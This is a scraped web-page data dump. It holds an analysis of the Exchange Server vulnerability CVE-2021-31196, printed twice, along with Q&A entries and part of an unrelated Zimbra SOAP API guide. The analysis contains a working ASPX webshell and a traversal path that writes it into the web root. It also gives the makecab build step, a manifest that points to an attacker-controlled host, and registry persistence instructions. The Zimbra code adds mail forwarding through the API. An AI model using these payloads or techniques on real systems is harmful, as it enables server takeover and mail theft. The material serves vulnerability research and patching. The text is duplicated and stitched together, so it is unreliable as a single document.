poc.cab\u003C\u002Fp>\u003Ch2>0x03 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Hijack http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244 through a man-in-the-middle attack\u003C\u002Fh3>\u003Cp>Refer to the original text for POC\u003C\u002Fp>\u003Cp>When an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Force command in the Exchange Management Shell, the Exchange server will write a webshell to C:\\inetpub\\wwwroot\\aspnet_client\u003C\u002Fp>\u003Ch3>2. Modify the registry to achieve persistence\u003C\u002Fh3>\u003Cp>Registry location: HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp\u003C\u002Fp>\u003Cp>Create a new registry entry named ManifestUrl, type REG_SZ, with content as a remote XML address, e.g., http:\u002F\u002F192.168.1.3\u002Fpoc.xml\u003C\u002Fp>\u003Ch2>0x04 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>1. Install patches\u003C\u002Fp>\u003Cp>Reference materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fen-US\u002Fvulnerability\u002FCVE-2021-31206\u003C\u002Fp>\u003Cp>2. Avoid network hijacking\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Although the exploitation conditions for CVE-2021-31196 are relatively more specific, there is still potential for exploitation in certain environments, making timely patch updates essential.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>CVE-2021-31196 is a logic vulnerability. Exploitation requires a man-in-the-middle attack and user interaction, ultimately enabling remote code execution.\u003C\u002Fp>\u003Cp>Technical article shared by the vulnerability discoverer:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fsrcincite.io\u002Fblog\u002F2021\u002F08\u002F25\u002Fpwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html\u003C\u002Fp>\u003Cp>This article solely documents personal research insights from a technical perspective.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Vulnerability Debugging\u003C\u002Fli>\u003Cli>Exploitation Approach\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Vulnerability Debugging\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Vulnerability Summary\u003C\u002Fh3>\u003Cp>In Exchange Server 2013 or later, when an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Force command in the Exchange Management Shell, an unauthenticated attacker in a privileged network position can trigger a remote code execution vulnerability.\u003C\u002Fp>\u003Cp>A privileged network position refers to a scenario where the attacker can hijack the domain http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Ch3>2. Vulnerability Code Location\u003C\u002Fh3>\u003Cp>According to the provided materials in the original text, open the file C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\Microsoft.Exchange.Management.dll using dnSpy.\u003C\u002Fp>\u003Cp>Navigate sequentially to Microsoft.Exchange.Management.UpdatableHelp -&gt; HelpUpdater -&gt; UpdateHelp().\u003C\u002Fp>\u003Ch3>3. Vulnerability Logic\u003C\u002Fh3>\u003Ch4>(1) Execute the Update-ExchangeHelp or Update-ExchangeHelp -Force command using the Exchange Management Shell.\u003C\u002Fh4>\u003Cp>In Exchange Server 2013 or later, the Update-ExchangeHelp command is supported to check for the latest available version of help for the Exchange Management Shell on the local computer.\u003C\u002Fp>\u003Cp>The Update-ExchangeHelp command has a restriction period of 24 hours; if executed again within 24 hours, the -Force parameter must be added.\u003C\u002Fp>\u003Cp>After executing the command, the UpdateHelp() function is entered, initiating subsequent operations.\u003C\u002Fp>\u003Ch4>(2) Download the configuration file.\u003C\u002Fh4>\u003Cp>The code for downloading the configuration file in the UpdateHelp() function is shown in the following image.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019776092_0_14d0e024f0-1.jpeg\">\u003C\u002Fp>\u003Cp>The implementation code for DownloadManifest() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>internal void DownloadManifest()\u003Cbr>{\u003Cbr>\tstring downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);\u003Cbr>\tif (!this.helpUpdater.Cmdlet.Abort)\u003Cbr>\t{\u003Cbr>\t\tthis.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);, the parameter this.helpUpdater.ManifestUrl is obtained through the function LoadConfiguration(). Part of the code for LoadConfiguration() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\\\\UpdateExchangeHelp\");\u003Cbr>if (registryKey3 == null)\u003Cbr>{\u003Cbr>\tregistryKey3 = Registry.LocalMachine.CreateSubKey(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\\\\UpdateExchangeHelp\");\u003Cbr>}\u003Cbr>if (registryKey3 != null)\u003Cbr>{\u003Cbr>\ttry\u003Cbr>\t{\u003Cbr>\t\tthis.ManifestUrl = registryKey3.GetValue(\"ManifestUrl\", \"http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244\").ToString();\u003Cbr>\t\tif (string.IsNullOrEmpty(this.ManifestUrl))\u003Cbr>\t\t{\u003Cbr>\t\t\tthrow new UpdatableExchangeHelpSystemException(UpdatableHelpStrings.UpdateRegkeyNotFoundErrorID, UpdatableHelpStrings.UpdateRegkeyNotFound(\"SOFTWARE\\\\Microsoft\\\\ExchangeServer\\\\v15\", \"\\\\UpdateExchangeHelp\", \"ManifestUrl\"), ErrorCategory.MetadataError, null, null);\u003Cbr>\t\t}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The logic here reads the registry key named ManifestUrl under HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp. If it exists, its value is assigned to ManifestUrl; if not, ManifestUrl defaults to http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Cp>This is also one of the prerequisites for exploiting this vulnerability, requiring the ability to hijack http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244.\u003C\u002Fp>\u003Cp>Alternatively, if control of the Exchange server is already obtained, modifying the registry to set ManifestUrl (type REG_SZ) to a remote XML address, such as http:\u002F\u002F192.168.1.3\u002Fpoc.xml, can serve as a persistence method.\u003C\u002Fp>\u003Cp>For this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));, the parameter this.helpUpdater.LocalManifestPath is the save path for the configuration file. By default, the path is C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Bin\\UpdateHelp.$$$\\ExchangeHelpInfo.xml.\u003C\u002Fp>\u003Cp>Example format of the XML configuration file:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cexchangehelpinfo>\u003Cbr>  \u003Chelpversions>\u003Cbr>    \u003Chelpversion>\u003Cbr>      \u003Cversion>15.1.2176.2\u003C\u002Fversion>\u003Cbr>      \u003Crevision>1\u003C\u002Frevision>\u003Cbr>      \u003Cculturesupdated>en\u003C\u002Fculturesupdated>\u003Cbr>      \u003Ccabineturl>http:\u002F\u002F192.168.1.3\u002Fpoc.cab\u003C\u002Fcabineturl>\u003Cbr>    \u003C\u002Fhelpversion>\u003Cbr>  \u003C\u002Fhelpversions>\u003Cbr>\u003C\u002Fexchangehelpinfo>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter Version represents the Exchange version number, which can be obtained by checking the registry in a debugging environment:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>REG QUERY \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\ClientAccessRole\" \u002Fv ConfiguredVersion\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter Revision is the revision number. Note the value range here. After a normal Update-ExchangeHelp operation, a new registry entry CurrentHelpRevision will be created under HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp, of type REG_DWORD, with a value corresponding to the Revision number. In the next Update-ExchangeHelp operation, the Revision value in the XML configuration file must be greater than the value of the registry entry CurrentHelpRevision.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the registry entry CurrentHelpRevision is manually deleted after a normal Update-ExchangeHelp operation, set Revision to 1 in the next Update-ExchangeHelp operation.\u003C\u002Fp>\u003Cp>The parameter CabinetUrl is the download address of the CAB file.\u003C\u002Fp>\u003Ch4>(3) Download and extract the CAB file\u003C\u002Fh4>\u003Cp>The code for downloading and extracting the CAB file in the UpdateHelp() function is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019787273_1_b0b0c6193c-1.jpeg\">\u003C\u002Fp>\u003Cp>The implementation code for ExtractToTemp() is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>internal int ExtractToTemp()\u003Cbr>{\u003Cbr>\tthis.filesAffected = 0;\u003Cbr>\tthis.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);\u003Cbr>\tthis.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);\u003Cbr>\tbool embedded = false;\u003Cbr>\tstring filter = \"\";\u003Cbr>\tint result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);\u003Cbr>\tthis.cabinetFiles = new Dictionary\u003Cstring, list\u003Cstring=\"\">&gt;();\u003Cbr>\tthis.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);\u003Cbr>\tthis.filesAffected = result;\u003Cbr>\treturn result;\u003Cbr>}\u003C\u002Fstring,>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For the statement int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);, used to extract the contents of CAB files\u003C\u002Fp>\u003Cp>ExtractCabFiles does not validate file paths before extraction, which is the vulnerability of CVE-2021-31196. If ..\u002F is passed in, directory traversal can occur, ultimately leading to arbitrary file write\u003C\u002Fp>\u003Cp>Regarding the creation of CAB files, refer to the method in the original text:\u003C\u002Fp>\u003Cp>The content of files.txt is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\"poc.aspx\" \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Finetpub\u002Fwwwroot\u002Faspnet_client\u002Fpoc.aspx\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The content of poc.aspx is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%=System.Diagnostics.Process.Start(\"cmd\", Request[\"c\"])%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Execute the command in the command line:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>makecab \u002Fd \"CabinetName1=poc.cab\" \u002Ff files.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Generate the final poc.cab\u003C\u002Fp>\u003Ch2>0x03 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Hijack http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244 through a man-in-the-middle attack\u003C\u002Fh3>\u003Cp>Refer to the original text for POC\u003C\u002Fp>\u003Cp>When an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Force command in the Exchange Management Shell, the Exchange server will write a webshell to C:\\inetpub\\wwwroot\\aspnet_client\u003C\u002Fp>\u003Ch3>2. Modify the registry to achieve persistence\u003C\u002Fh3>\u003Cp>Registry location: HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp\u003C\u002Fp>\u003Cp>Create a new registry entry named ManifestUrl, type REG_SZ, with content as a remote XML address, e.g., http:\u002F\u002F192.168.1.3\u002Fpoc.xml\u003C\u002Fp>\u003Ch2>0x04 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>1. Install patches\u003C\u002Fp>\u003Cp>Reference materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmsrc.microsoft.com\u002Fupdate-guide\u002Fen-US\u002Fvulnerability\u002FCVE-2021-31206\u003C\u002Fp>\u003Cp>2. Avoid network hijacking\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Although the exploitation conditions for CVE-2021-31196 are relatively more specific, there is still potential for exploitation in certain environments, making timely patch updates essential.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",{"id":522,"alt":523,"caption":524,"updatedAt":525,"createdAt":525,"url":526,"thumbnailURL":26,"filename":527,"mimeType":237,"filesize":528,"width":529,"height":530,"focalX":38,"focalY":38,"sizes":531},1759,"docx image 1770019776092 0 14d0e024f0","legacy:\u002Fuploads\u002Fdocx_image_1770019776092_0_14d0e024f0.jpeg","2026-07-24T15:37:08.324Z","\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019776092_0_14d0e024f0-1.jpeg","docx_image_1770019776092_0_14d0e024f0-1.jpeg",54508,784,411,{"thumbnail":532,"card":533,"og":534},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},"2026-02-02T08:20:05.028Z",{"title":537,"description":512,"keywords":538,"ogImage":26,"canonicalUrl":26,"noIndex":50},"CVE-2021-31196: Exchange Server RCE via Update-ExchangeHelp Exploit","CVE-2021-31196, Exchange Server vulnerability, remote code execution, Pwn2Own 2021, Update-ExchangeHelp exploit, Microsoft Exchange RCE",[],{"docs":541,"hasNextPage":50},[542,549,556,563],{"id":543,"question":544,"answer":545,"answerHtml":545,"slug":546,"keywords":547,"article":259,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":548,"createdAt":548,"_status":61},66,"Why does the CAB file extraction in the Exchange Help Updater lead to arbitrary file write?","The `ExtractToTemp()` method in `Microsoft.Exchange.Management.dll` calls `EmbeddedCabWrapper.ExtractCabFiles()` without validating file paths inside the CAB archive. An attacker can include filenames with `..\u002F` sequences (e.g., `..\u002F..\u002F..\u002F..\u002F..\u002Finetpub\u002Fwwwroot\u002Faspnet_client\u002Fpoc.aspx`) to escape the extraction target directory and write files to arbitrary locations. This directory traversal flaw is the root cause of CVE-2021-31196. For comparison, other Exchange vulnerabilities like [CVE-2021-34523](\u002Fnews\u002Fproxyshell-exploitation-analysis-2-cve-2021-34523) also involve improper input validation.","why-does-the-cab-file-extraction-in-the-exchange-help-updater-lead-to-arbitrary--1777485420562","CAB extraction, directory traversal, arbitrary file write, ExtractCabFiles, Update-ExchangeHelp, CVE-2021-31196","2026-07-23T16:03:19.599Z",{"id":550,"question":551,"answer":552,"answerHtml":552,"slug":553,"keywords":554,"article":259,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":555,"createdAt":555,"_status":61},65,"What registry key can be modified to persist exploitation of CVE-2021-31196 without a MITM attack?","The registry key `HKLM\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp` stores the `ManifestUrl` value (type `REG_SZ`). By default it points to the Microsoft domain, but an attacker with local access can set it to a remote XML file (e.g., `http:\u002F\u002F192.168.1.3\u002Fpoc.xml`). After that, any execution of `Update-ExchangeHelp` will download the attacker’s manifest and CAB file, enabling persistent arbitrary file writes. This persistence technique is detailed in the [original analysis](\u002Fnews\u002Fpwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis).","what-registry-key-can-be-modified-to-persist-exploitation-of-cve-2021-31196-with-1777485420501","registry persistence, ManifestUrl, HKLM, UpdateExchangeHelp, persistence, Exchange Server","2026-07-23T16:03:19.209Z",{"id":557,"question":558,"answer":559,"answerHtml":559,"slug":560,"keywords":561,"article":259,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":562,"createdAt":562,"_status":61},64,"How does the man-in-the-middle (MITM) attack work for this vulnerability, and what is the end goal?","An attacker in a privileged network position can hijack the Microsoft domain used to download configuration files (e.g., via ARP spoofing or DNS poisoning). When an administrator runs `Update-ExchangeHelp`, the Exchange server fetches a malicious XML manifest from the attacker-controlled server, which points to a crafted CAB file. The CAB file contains a webshell (e.g., `poc.aspx`) written to the web root (`C:\\inetpub\\wwwroot\\aspnet_client`) via directory traversal, achieving remote code execution. For a deeper understanding of related Exchange exploits, see [ProxyShell Analysis 1](\u002Fnews\u002Fproxyshell-exploitation-analysis-1-cve-2021-34473) and [ProxyOracle Analysis 2](\u002Fnews\u002Fproxyoracle-exploitation-analysis-2-cve-2021-31196).","how-does-the-man-in-the-middle-mitm-attack-work-for-this-vulnerability-and-what--1777485420434","man-in-the-middle, hijack domain, webshell, directory traversal, remote code execution, Pwn2Own","2026-07-23T16:03:18.788Z",{"id":564,"question":565,"answer":566,"answerHtml":566,"slug":567,"keywords":568,"article":259,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":569,"createdAt":569,"_status":61},63,"What is the core vulnerability in CVE-2021-31196 and what conditions must be met for exploitation?","CVE-2021-31196 is a logic vulnerability in Microsoft Exchange Server (2013 or later) where the `Update-ExchangeHelp` cmdlet downloads and extracts CAB files without validating file paths, leading to arbitrary file write via directory traversal. Exploitation requires a man-in-the-middle attacker to hijack the domain `http:\u002F\u002Fgo.microsoft.com\u002Ffwlink\u002Fp\u002F?LinkId=287244` and an administrative user to run the `Update-ExchangeHelp` or `Update-ExchangeHelp -Force` command. This vulnerability was demonstrated at [Pwn2Own 2021](\u002Fnews\u002Fpwn2own-2021-microsoft-exchange-server-vulnerability-cve-2021-31196-exploitation-analysis).","what-is-the-core-vulnerability-in-cve-2021-31196-and-what-conditions-must-be-met-1777485420335","CVE-2021-31196, Microsoft Exchange Server, directory traversal, man-in-the-middle, Update-ExchangeHelp, arbitrary file write","2026-07-23T16:03:18.237Z",{"title":26,"description":26,"image":26},"2026-07-24T15:37:15.700Z","2026-07-23T16:00:57.306Z",{"id":266,"title":574,"slug":575,"description":576,"content":577,"contentHtml":584,"contentMarkdown":26,"cover":585,"author":43,"views":14,"readingTime":6,"status":45,"publishedAt":535,"seo":599,"tags":602,"qaPairs":603,"meta":634,"updatedAt":635,"createdAt":636,"_status":61},"Zimbra SOAP API Development Guide 5 - Email Forwarding","zimbra-soap-api-development-guide-5-email-forwarding","Learn to implement email forwarding and view folder sharing configurations using Zimbra SOAP API with Python code examples and packet analysis.",{"root":578},{"type":12,"format":13,"indent":14,"version":15,"children":579,"direction":24},[580],{"type":18,"format":13,"indent":14,"version":15,"children":581,"direction":24},[582],{"mode":21,"text":583,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will further expand the functionality of the open-source code Zimbra_SOAP_API_Manage, implementing email forwarding by modifying configurations through the Zimbra SOAP API, and sharing development details.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Adding email forwarding\u003C\u002Fli>\u003Cli>Viewing email forwarding configurations\u003C\u002Fli>\u003Cli>Viewing folder sharing configurations\u003C\u002Fli>\u003Cli>Open-source code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Adding Email Forwarding\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Zimbra supports forwarding received emails to another mailbox. The operation method via the web interface is as follows:\u003C\u002Fp>\u003Cp>After logging into the mailbox, navigate to Preferences -&gt; Mail, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019774188_0_16f580ada3.png\">\u003C\u002Fp>\u003Cp>After setting up the forwarding email, click Save\u003C\u002Fp>\u003Cp>If you want to forward to multiple email addresses, you can use , to separate them. An example of forwarding to two email addresses simultaneously: test1@test.com,test2@test.com\u003C\u002Fp>\u003Cp>Next, analyze the implementation process by packet capture, and then use a program to implement this functionality\u003C\u002Fp>\u003Cp>Example of SOAP format obtained from packet capture:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Csoap:body>\u003Cbr>\u003Cbatchrequest xmlns=\"urn:zimbra\" onerror=\"stop\">\u003Cbr>\u003Cmodifyprefsrequest xmlns=\"urn:zimbraAccount\" requestid=\"0\">\u003Cbr>\u003Cpref name=\"zimbraPrefMailForwardingAddress\">test1@test.com\u003C\u002Fpref>\u003Cbr>\u003C\u002Fmodifyprefsrequest>\u003Cbr>\u003C\u002Fbatchrequest>\u003Cbr>\u003C\u002Fsoap:body>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Implementation code example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def addforward_request(uri,token):\u003Cbr>    print(\"[*] Input the mailbox to forward:\")\u003Cbr>    print(\"    Eg :test1@test.com,test2@@test.com\")\u003Cbr>    mailbox = input(\"[&gt;]: \")\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>            \u003Cbatchrequest xmlns=\"urn:zimbra\" onerror=\"stop\">\u003Cbr>                \u003Cnooprequest xmlns=\"urn:zimbraMail\" requestid=\"0\">\u003Cbr>                \u003Cmodifyprefsrequest xmlns=\"urn:zimbraAccount\" requestid=\"1\">\u003Cbr>                    \u003Cpref name=\"zimbraPrefMailForwardingAddress\">{mailbox}\u003C\u002Fpref>\u003Cbr>                \u003C\u002Fmodifyprefsrequest>\u003Cbr>            \u003C\u002Fnooprequest>\u003C\u002Fbatchrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    try:\u003Cbr>        r=requests.post(uri+\"\u002Fservice\u002Fsoap\",headers=headers,data=request_body.format(token=token,mailbox=mailbox),verify=False,timeout=15)\u003Cbr>        if r.status_code == 200:\u003Cbr>            print(\"[+] Add success\")\u003Cbr>        else:    \u003Cbr>            print(r.status_code)\u003Cbr>            print(r.text)        \u003Cbr>        \u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>To clear the email forwarding settings, simply set the email address to empty\u003C\u002Fp>\u003Ch2>0x03 View Email Forwarding Configuration\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Before adding email forwarding, we typically need to first obtain the email forwarding configuration.\u003C\u002Fp>\u003Cp>Through packet capture, it was discovered that when accessing the web homepage, if email forwarding settings exist, the returned data will include the following additional content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\"zimbraPrefMailForwardingAddress\":\"test@test.com\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If email forwarding settings do not exist, the returned data will not contain the string zimbraPrefMailForwardingAddress.\u003C\u002Fp>\u003Cp>In terms of program implementation, accessing the web homepage requires adding a Cookie, and then filtering out the specified content using regular expressions.\u003C\u002Fp>\u003Cp>Example implementation code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getforward_request(uri,token):\u003Cbr>    try:\u003Cbr>        headers[\"Cookie\"]=\"ZM_AUTH_TOKEN=\"+token+\";\"\u003Cbr>        r=requests.get(uri,headers=headers,verify=False,timeout=15)\u003Cbr>        if r.status_code == 200 and 'zimbraPrefMailForwardingAddress' in r.text:\u003Cbr>            print(\"[+] Forward\")\u003Cbr>            pattern_name = re.compile(r\"\\\"zimbraPrefMailForwardingAddress\\\":\\\"(.*?)\\\"\")\u003Cbr>            name = pattern_name.findall(r.text)\u003Cbr>            print(\"    \" + name[0])\u003Cbr>        else:           \u003Cbr>            print(r.status_code)\u003Cbr>            print(\"[-] No Forward\")\u003Cbr>        \u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 View Folder Sharing Configuration\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The previous article \"Zimbra-SOAP-API Development Guide 4 - Email Export and Folder Sharing\" lacked a method for viewing folder sharing configuration. This article serves as a supplement.\u003C\u002Fp>\u003Cp>Analyze through packet capture\u003C\u002Fp>\u003Cp>Example of URL sent: https:\u002F\u002F\u003Curl>\u002Fservice\u002Fsoap\u002FBatchRequest\u003C\u002Furl>\u003C\u002Fp>\u003Cp>Example of content sent:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>{\"Header\":{\"context\":{\"_jsns\":\"urn:zimbra\",\"userAgent\":{\"name\":\"ZimbraWebClient - GC103 (Win)\",\"version\":\"8.8.12_GA_3844\"},\"session\":{\"_content\":123,\"id\":123},\"account\":{\"_content\":\"admin@test.com\",\"by\":\"name\"},\"csrfToken\":\"0_71c4fc5d29c57ec1863d1630a77bb4834f0cd67c\"}},\"Body\":{\"BatchRequest\":{\"_jsns\":\"urn:zimbra\",\"onerror\":\"continue\",\"GetFolderRequest\":[{\"_jsns\":\"urn:zimbraMail\",\"folder\":{\"l\":\"2\"},\"requestId\":0}]}}}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example of content 